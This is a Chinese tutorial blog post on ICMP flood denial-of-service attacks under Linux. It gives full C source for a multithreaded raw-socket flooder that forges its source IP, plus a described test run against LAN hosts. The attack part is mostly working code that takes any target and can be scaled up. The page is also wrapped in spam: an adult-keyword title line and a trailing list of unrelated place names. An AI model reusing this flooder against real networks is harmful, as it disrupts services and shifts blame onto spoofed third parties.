成人午夜视频全免费观看高清-秋霞福利视频一区二区三区-国产精品久久久久电影小说-亚洲不卡区三一区三区一区

Linux編程中ICMP洪水攻擊的示例分析

這篇文章將為大家詳細講解有關(guān)Linux編程中ICMP洪水攻擊的示例分析,小編覺得挺實用的,因此分享給大家做個參考,希望大家閱讀完這篇文章后可以有所收獲。

創(chuàng)新互聯(lián)公司是一家專業(yè)提供吐魯番企業(yè)網(wǎng)站建設(shè),專注與網(wǎng)站設(shè)計制作、做網(wǎng)站、H5響應(yīng)式網(wǎng)站、小程序制作等業(yè)務(wù)。10年已為吐魯番眾多企業(yè)、政府機構(gòu)等服務(wù)。創(chuàng)新互聯(lián)專業(yè)網(wǎng)站建設(shè)公司優(yōu)惠進行中。

ICMP洪水攻擊屬于大名鼎鼎的DOS(Denial of Service)攻擊的一種,一種是黑客們喜歡的攻擊手段,這里本著加深自己對ICMP的理解的目的,也試著基于ICMP寫一段ICMP的洪水攻擊小程序。 

洪水攻擊(FLOOD ATTACK)指的是利用計算機網(wǎng)絡(luò)技術(shù)向目的主機發(fā)送大量無用數(shù)據(jù)報文,使得目的主機忙于處理無用的數(shù)據(jù)報文而無法提供正常服務(wù)的網(wǎng)絡(luò)行為。

ICMP洪水攻擊:顧名思義,就是對目的主機發(fā)送洪水般的ping包,使得目的主機忙于處理ping包而無能力處理其他正常請求,這就好像是洪水一般的ping包把目的主機給淹沒了。 

要實現(xiàn)ICMP的洪水攻擊,需要以下三項的知識儲備:

  • DOS攻擊原理

  • ICMP的深入理解

  • 原始套接字的編程技巧

一、ICMP洪水攻擊原理

ICMP洪水攻擊是在ping的基礎(chǔ)上形成的,但是ping程序很少能造成目的及宕機的問題,這是因為ping的發(fā)送包的速率太慢了,像我實現(xiàn)的PING程序里ping包發(fā)送速率限定在1秒1發(fā),這個速率目的主機處理ping包還是綽綽有余的。所以要造成“洪水”的現(xiàn)象,就必須提升發(fā)包速率。這里介紹三種ICMP洪水攻擊的方式: 

(1)直接洪水攻擊

這樣做需要本地主機的帶寬和目的主機的帶寬之間進行比拼,比如我的主機網(wǎng)絡(luò)帶寬是30M的,而你的主機網(wǎng)絡(luò)帶寬僅為3M,那我發(fā)起洪水攻擊淹沒你的主機成功率就很大了。這種攻擊方式要求攻擊主機處理能力和帶寬要大于被攻擊主機,否則自身被DoS了?;谶@種思想,我們可以使用一臺高帶寬高性能的電腦,采用多線程的方法一次性發(fā)送多個ICMP請求報文,讓目的主機忙于處理大量這些報文而造成速度緩慢甚至宕機。這個方法有個大缺點,就是對方可以根據(jù)ICMP包的IP地址而屏蔽掉攻擊源,使得攻擊不能繼續(xù)。 

(2)偽IP攻擊

在直接洪水攻擊的基礎(chǔ)上,我們將發(fā)送方的IP地址偽裝成其他IP,如果是偽裝成一個隨機的IP,那就可以很好地隱藏自己的位置;如果將自己的IP偽裝成其他受害者的IP,就會造成“挑撥離間”的情形,受害主機1的icmp回復(fù)包也如洪水般發(fā)送給受害主機2,如果主機1的管理員要查是哪個混蛋發(fā)包攻擊自己,他一查ICMP包的源地址,咦原來是主機2,這樣子主機2就成了戴罪羔羊了。 

(3)反射攻擊

這類攻擊的思想不同于上面兩種攻擊,反射攻擊的設(shè)計更為巧妙。其實這里的方式三的攻擊模式是前兩個模式的合并版以及升級版,方式三的攻擊策略有點像“借刀殺人“,反射攻擊不再直接對目標主機,而是讓其他一群主機誤以為目標主機在向他們發(fā)送ICMP請求包,然后一群主機向目的主機發(fā)送ICMP應(yīng)答包,造成來自四面八方的洪水淹沒目的主機的現(xiàn)象。比如我們向局域網(wǎng)的其他主機發(fā)送ICMP請求包,然后自己的IP地址偽裝成目的主機的IP,這樣子目的主機就成了ICMP回顯的焦點了。這種攻擊非常隱蔽,因為受害主機很難查出攻擊源是誰。 

Linux編程中ICMP洪水攻擊的示例分析

二、ICMP洪水攻擊程序設(shè)計

這里我想實現(xiàn)一個ICMP洪水攻擊的例子,這里我想采用方式二來進行設(shè)計。雖說方式三的“借刀殺人”更為巧妙,其實也是由方式二的偽裝方式進一步延伸的,實現(xiàn)起來也是大同小異。 

首先給出攻擊的模型圖:

Linux編程中ICMP洪水攻擊的示例分析

1.組ICMP包

這里的組包跟編寫PING程序時的組包沒太大差別,唯一需要注意的是,我們需要填寫IP頭部分,因為我們要偽裝源地址,做到嫁禍于人。

void DoS_icmp_pack(char* packet)
{
  struct ip* ip_hdr = (struct ip*)packet;
  struct icmp* icmp_hdr = (struct icmp*)(packet + sizeof(struct ip));

  ip_hdr->ip_v = 4;
  ip_hdr->ip_hl = 5;
  ip_hdr->ip_tos = 0;
  ip_hdr->ip_len = htons(ICMP_PACKET_SIZE);
  ip_hdr->ip_id = htons(getpid());
  ip_hdr->ip_off = 0;
  ip_hdr->ip_ttl = 64;
  ip_hdr->ip_p = PROTO_ICMP;
  ip_hdr->ip_sum = 0;
  ip_hdr->ip_src.s_addr = inet_addr(FAKE_IP);; //偽裝源地址
  ip_hdr->ip_dst.s_addr = dest; //填入要攻擊的目的主機地址

  icmp_hdr->icmp_type = ICMP_ECHO;
  icmp_hdr->icmp_code = 0;
  icmp_hdr->icmp_cksum = htons(~(ICMP_ECHO << 8));
  //注意這里,因為數(shù)據(jù)部分為0,我們就簡化了一下checksum的計算了
}

2.搭建發(fā)包線程

void Dos_Attack()
{
  char* packet = (char*)malloc(ICMP_PACKET_SIZE);
  memset(packet, 0, ICMP_PACKET_SIZE);
  struct sockaddr_in to;
  DoS_icmp_pack(packet);

  to.sin_family = AF_INET;
  to.sin_addr.s_addr = dest;
  to.sin_port = htons(0);

  while(alive) //控制發(fā)包的全局變量
  {
    sendto(rawsock, packet, ICMP_PACKET_SIZE, 0, (struct sockaddr*)&to, sizeof(struct sockaddr));    
  }

  free(packet); //記得要釋放內(nèi)存
}

3.編寫發(fā)包開關(guān)

這里的開關(guān)很簡單,用信號量+全局變量即可以實現(xiàn)。當(dāng)我們按下ctrl+c時,攻擊將關(guān)閉。

void Dos_Sig()
{
  alive = 0;
  printf("stop DoS Attack!\n");
}

 4.總的架構(gòu)

我們使用了64個線程一起發(fā)包,當(dāng)然這個線程數(shù)還可以大大增加,來增加攻擊強度。但我們只是做做實驗,沒必要搞那么大。

int main(int argc, char* argv[])
{
  struct hostent* host = NULL;
  struct protoent* protocol = NULL;
  int i;
  alive = 1;
  pthread_t attack_thread[THREAD_MAX_NUM]; //開64個線程同時發(fā)包  
  int err = 0;

  if(argc < 2)
  {
    printf("Invalid input!\n");
    return -1;
  }

  signal(SIGINT, Dos_Sig);

  protocol = getprotobyname(PROTO_NAME);
  if(protocol == NULL)
  {
    printf("Fail to getprotobyname!\n");
    return -1;
  }

  PROTO_ICMP = protocol->p_proto;

  dest = inet_addr(argv[1]);

  if(dest == INADDR_NONE)
  {
    host = gethostbyname(argv[1]);
    if(host == NULL)
    {
      printf("Invalid IP or Domain name!\n");
      return -1;
    }
    memcpy((char*)&dest, host->h_addr, host->h_length);

  }

  rawsock = socket(AF_INET, SOCK_RAW, PROTO_ICMP);
  if(rawsock < 0)
  {
    printf("Fait to create socket!\n");
    return -1;
  }

  setsockopt(rawsock, SOL_IP, IP_HDRINCL, "1", sizeof("1"));

  printf("ICMP FLOOD ATTACK START\n");

  for(i=0;i<THREAD_MAX_NUM;i++)
  {
    err = pthread_create(&(attack_thread[i]), NULL, (void*)Dos_Attack, NULL);
    if(err)
    {
      printf("Fail to create thread, err %d, thread id : %d\n",err, attack_thread[i]);      
    }
  }

  for(i=0;i<THREAD_MAX_NUM;i++)
  {
    pthread_join(attack_thread[i], NULL);  //等待線程結(jié)束
  }

  printf("ICMP ATTACK FINISHI!\n");

  close(rawsock);

  return 0;
}

三、實驗

本次實驗本著學(xué)習(xí)的目的,想利用自己手上的設(shè)備,想進一步理解網(wǎng)絡(luò)和協(xié)議的應(yīng)用,所以攻擊的幅度比較小,時間也就幾秒,不對任何設(shè)備造成影響。 

再說一下我們的攻擊步驟:我們使用主機172.0.5.183作為自己的攻擊主機,并將自己偽裝成主機172.0.5.182,對主機172.0.5.9發(fā)起ICMP洪水攻擊。

攻擊開始

Linux編程中ICMP洪水攻擊的示例分析

我們觀察一下”受害者“那邊的情況。在短短5秒里,正確收到并交付上層處理的包也高達7萬多個了。我也不敢多搞事,避免影響機器工作。

Linux編程中ICMP洪水攻擊的示例分析

使用wireshark抓包再瞧一瞧,滿滿的ICMP包啊,看來量也是很大的。ICMP包的源地址顯示為172.0.5.182(我們偽裝的地址),它也把echo reply回給了172.0.5.182。主機172.0.5.182肯定會想,莫名其妙啊,怎么收到這么多echo reply包。

Linux編程中ICMP洪水攻擊的示例分析

攻擊實驗做完了。  

現(xiàn)在更為流行的是DDOS攻擊,其威力更為強悍,策略更為精巧,防御難度也更加高。
其實,這種DDoS攻擊也是在DOS的基礎(chǔ)上發(fā)起的,具體步驟如下: 

    1. 攻擊者向“放大網(wǎng)絡(luò)”廣播echo request報文
    2. 攻擊者指定廣播報文的源IP為被攻擊主機
    3. “放大網(wǎng)絡(luò)”回復(fù)echo reply給被攻擊主機
    4. 形成DDoS攻擊場景 

這里的“放大網(wǎng)絡(luò)”可以理解為具有很多主機的網(wǎng)絡(luò),這些主機的操作系統(tǒng)需要支持對目的地址為廣播地址的某種ICMP請求數(shù)據(jù)包進行響應(yīng)。 

攻擊策略很精妙,簡而言之,就是將源地址偽裝成攻擊主機的IP,然后發(fā)廣播的給所有主機,主機們收到該echo request后集體向攻擊主機回包,造成群起而攻之的情景。

關(guān)于“Linux編程中ICMP洪水攻擊的示例分析”這篇文章就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,使各位可以學(xué)到更多知識,如果覺得文章不錯,請把它分享出去讓更多的人看到。

分享標題:Linux編程中ICMP洪水攻擊的示例分析
當(dāng)前URL:http://jinyejixie.com/article34/gcsgse.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供品牌網(wǎng)站建設(shè)、網(wǎng)站內(nèi)鏈、微信公眾號、手機網(wǎng)站建設(shè)品牌網(wǎng)站制作、面包屑導(dǎo)航

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)

成都seo排名網(wǎng)站優(yōu)化
武川县| 乳源| 景德镇市| 轮台县| 淮北市| 丰城市| 博爱县| 龙江县| 安化县| 仁怀市| 巩义市| 黔江区| 浮山县| 张家口市| 格尔木市| 自治县| 乐陵市| 鹤庆县| 凤城市| 武强县| 治县。| 红桥区| 扶沟县| 府谷县| 和田市| 威海市| 霞浦县| 淄博市| 怀远县| 和顺县| 海兴县| 澳门| 达州市| 凤山市| 平利县| 海兴县| 曲沃县| 齐齐哈尔市| 蓬溪县| 万载县| 格尔木市|